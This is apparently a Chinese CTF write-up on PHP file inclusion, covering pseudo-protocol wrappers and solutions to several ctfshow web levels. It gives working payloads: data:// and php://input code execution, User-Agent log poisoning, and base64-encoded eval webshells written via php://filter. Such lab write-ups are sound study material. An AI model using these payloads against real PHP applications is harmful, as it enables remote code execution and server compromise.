⽂件包含,通过PHP函数引⼊⽂件时,传⼊的⽂件名没有经过合理的验证,从⽽操作 了预想之外的⽂件,就可能导致意外的⽂件泄漏甚⾄恶意代码注⼊。
产⽣的条件: 常⻅的包含,在之前做命令执⾏的时候也已经⽤过了 include() require() include_once() require_once() 此外,常⽤的还有之前在web37写的伪协议,这⾥再复制过来
72 总: file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议 分: file:// 协议: 条件 allow_url_fopen:off/on allow_url_include :off/on 作⽤:⽤于访问本地⽂件系统。在include()/require()等参数可控的情况下,如果导⼊⾮ php⽂件也会被解析为php ⽤法:1.file://[⽂件的绝对路径和⽂件名] 2.[⽂件的相对路径和⽂件名] 3.[http://⽹络路径和⽂件名] php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memor y php://temp 需要on allow_url_fopen:off/on 作⽤:php:// 访问各个输⼊/输出流(I/O streams),在CTF中经常使⽤的是php://fi lter和php://input,php://filter⽤于读取源码,php://input⽤于执⾏php代码 php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read =(可选) write=(可选) 对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、 string.strip_tags、convert.base64-encode & convert.base64-decode
⽤法举例:php://filter/read=convert.base64-encode/resource=flag.p hp zip:// bzip2:// zlib:// 协议: 条件:allow_url_fopen:off/on allow_url_include :off/on 作⽤:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂ 件,更重要的是不需要指定后缀名 ⽤法:zip://[压缩⽂件绝对路径]%23[压缩⽂件内的⼦⽂件名] compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议: 条件:allow_url_fopen:on allow_url_include :on 作⽤:可以使⽤data://数据流封装器,以传递相应格式的数据。通常可以⽤来执⾏PHP 代码。 ⽤法:data://text/plain, data://text/plain;base64, 举例:data://text/plain, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
web78
利用php伪协议的data协议和input协议都能解。
传参 file=data://text/plain,<?php system("ls");?>,查看目录,然后传参 file=data://text/plain,<?php system("tac flag.php");?>,拿到flag。
或者传参 file=php://input 同时内容为 ?php system("ls");?>,查看目录
不知道为什么cat用不了,只能yongtac
web79
和上一关差不多过滤了php,使用data和php短标签
web80
过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含
然后将一句话写入ua头
web81
多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含
还是和上一关一样,用ua头
web87
将如果file出现phpdata:.就会替换成???,
urldecode对file进行解码,最后面加上$content
file_put_contents 函数创建或修改由 $file 变量指定的文件,并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。
看到这里直接试试通过编码写入东西
die函数需要绕过,避免程序终止。
使用base64绕过
因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节
使用php伪协议将base64的一句话写入文件,然后连接或者命令执行
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30
aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
jiuzhen.php
web88
file包含禁止的符号,就会执行die解释
include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。
这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话
data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg
一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志
web116
访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件
第一次用的Binwalk文件提取 第二次用的Foremost文件提取
Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压
foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压
分离之后有一个图片和一个MP3(打不开)
从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp
data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效
看了一下只能通过直接包含,写入不了一句话了
web117
禁用了input和data
和上面的web87有点像
通过?file=php://filter/写入文件
查看发现不行,进行了换位,通过反向操作构造
?<hp pvela$(G_TE'['a)] ;>?